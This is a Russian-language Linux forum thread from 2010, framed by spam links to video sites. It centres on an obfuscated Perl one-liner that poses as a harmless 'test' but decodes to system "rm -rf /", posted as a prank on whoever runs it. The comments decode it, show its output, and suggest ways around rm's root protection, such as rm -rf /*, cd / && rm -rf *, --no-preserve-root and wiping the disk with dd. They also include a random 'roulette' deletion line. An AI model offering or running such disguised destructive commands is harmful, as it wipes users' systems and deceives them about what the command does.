Online video hd

Смотреть узб видео

Официальный сайт 70rus 24/7/365

Смотреть видео бесплатно

muhas 12.07.2010 10:22

Talks!Что-то вспомнилось

1
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=>=>%-{<-|}<&|`{;;y; -/:-@<-`{-};`-{/" -;;s;;$_;see'


эдакий тест на кол-во полученных лулзов. аккордеон конечно, но лулзы ловятся до сих пор.


Тэги: Linux perl вброс
+ -2 -
Похожие Поделиться

Shtsh 12.07.2010 10:36 #
+ 0 -
а оно разве будет работать без рутовских прав?
muhas 12.07.2010 10:52 #
+ 0 -
а чего же не будет-то. только куда доступа нет туда не полезит. а $HOME ди /mnt /media попадается
fat0troll 12.07.2010 11:31 #
+ 0 -
${HOME} снесёт и не пикнет :)
antigluk 12.07.2010 16:45 #
+ 1 -
$ cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=>=>%-{<-|}<&|`{;;y; -/:-@<-`{-};`-{/" -;;s;;$_;see'
cat: test... test... test...: Нет такого файла или каталога
rm: опасно рекурсивно обрабатывать «/»
rm: используйте --no-preserve-root, чтобы отменить предупреждение об опасности


совсем ничего не снесло.
antigluk 12.07.2010 16:46 #
+ 0 -
может, echo?
muhas 13.07.2010 11:52 #
+ 0 -
всё-равно cat "test... test... test..." для запутывания. rm -rf делает то что после конвеера
antigluk 13.07.2010 14:00 #
+ 0 -
логично, зато одной ошибкой меньше)
Username 12.07.2010 17:09 #
+ 1 -
в последней версии rm есть автопроверка аргумента на корневой каталог. Сделай cd / && rm -rf *
antigluk 12.07.2010 17:13 #
+ 0 -
Да нет, спасибо =)
uscr 12.07.2010 21:18 #
+ 1 -
используйте --no-preserve-root, чтобы отменить предупреждение об опасности


Параметр же специальный есть.

А ещё можно rm -rf /*
cppmm 13.07.2010 11:37 #
+ 0 -
А расшифровать? ;)
muhas 13.07.2010 11:52 #
+ 1 -
То есть, сначала командой $??s:;s:s;;$?::s;;=>=>%-{<-|}<&|`{; во временную переменную записывается текст =>=>%-{<-|}<&|`{, затем он транслитерируется (y; -/:-@<-`{-};`-{/" -;) и превращается в команду system"rm -rf /", смысл которой понятен даже людям, с Perl незнакомым. Далее эта команда отдается на исполнение интерпретатору (s;;$_;see). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода, но ему очень далеко до истинных шедевров в этой област
а вообще где-то в дебрях этой темы
cppmm 13.07.2010 12:14 #
+ 0 -
Ну вот, всё наслаждение испортил. Я-то уже знаю расшифровку, хотелось посмотреть, как народ будет биться. :)
muhas 13.07.2010 12:21 #
+ 0 -
народ спросит у гугла (лично мой ответ оттуда)
cppmm 13.07.2010 12:23 #
+ 2 -
Эх. Твои бы слова да доброй половине людей из блога "Есть вопрос". ;)
muhas 13.07.2010 12:26 #
+ 3 -
дадада. надо предупреждение при создании поста в том блоге выводить =)
Username 13.07.2010 13:20 #
+ 1 -
я обычно рекомендую dd или cat для убийства корня ну или initrd например.
cppmm 13.07.2010 13:38 #
+ 0 -
Это скучно. Я как-то давно устроил себе классный квест - Хитрым макаром удалил из системы с помощью apt-get'а почти всё, включая apt-get и ядро. То, что висело в оперативке(брозёр и т.п.) ещё работало, но ничего нового я запустить уже не мог. Хорошо, что не ребутнулся. Потом в течении нескольких часов сначала выкачивал по одному пакетики wget'ом и ставил с помощью dpkg, чтобы восстановить apt-get, которым в свою очередь таки вылечил систему. Было весело.
uscr 13.07.2010 14:15 #
+ 0 -
Я ни разу не усомнился в ваших словах, но... Вы случайно "хитрым макаром" всё удалили?!!!
cppmm 13.07.2010 14:20 #
+ 0 -
Уже точно не помню, но что-то я экспериментировал с apt-build, по-моему. Маны прочитал невнимательно, нарыл какую-то хавтушку в сети и решил перекомпилить себе всю систему(молодой был, необразованный). Вот оно взяло, все бинарники посносило, а что дальше делать - не сказало. :)
uscr 13.07.2010 15:27 #
+ 0 -
Я по молодости доигрался с фряхой до состояния при котором мир у меня был на 3 релиза старше ядра. А потом я сделал # cd /usr/src && make delete-old-libs весело ответил "yes" на все вопросы и получил систему с актуальными либами относительно версии ЯДРА и миром, который хотел старые либы. Вот тогда я прилично кирпичей наложил, осознав что даже cd не работает (формально, грохнулась даже оболочка). Правда там всё обошлось малой кровью. Скопировал библиотеки с рядом стоящей машины.
uscr 13.07.2010 15:29 #
+ 1 -
Вместо "формально" следует читать "фактически". Прим.редактора
cppmm 13.07.2010 20:25 #
+ 0 -
Да, тоже весело. :) У меня было похожее, но не так жестоко.
Как-то давно собирал какую-то софтинку из сырцов по схеме configure && make && make install(в портах её не было). Про checkinstall я тогда не знал. Ну и решил её удалить простым способом. Открыл Makefile, скопипастил раздел install и заменил все cp на rm -rf. Только вот не учёл, что в некоторых местах оно прямо директориями рулит... В общем, половины библиотек в системе как не бывало... К счастью, оно задело только /usr/local/lib и /usr/local/libexec. Полная пересборка portupgrade'ом спасла.
cppmm 13.07.2010 20:25 #
+ 0 -
*похоже во фряхе

//fixed
muhas 13.07.2010 13:23 #
+ 1 -
я как-то раз в dd if и of перепутал - вот это было не весело :(
uscr 13.07.2010 14:18 #
+ -1 -
# < $< $RANDOM % 6 > == 0 > && rm -rf /* || echo "Жив"

Смотреть онлайн бесплатно

Онлайн видео бесплатно


Смотреть русское с разговорами видео

Online video HD

Видео скачать на телефон

Русские фильмы бесплатно

Full HD video online

Смотреть видео онлайн

Смотреть HD видео бесплатно

School смотреть онлайн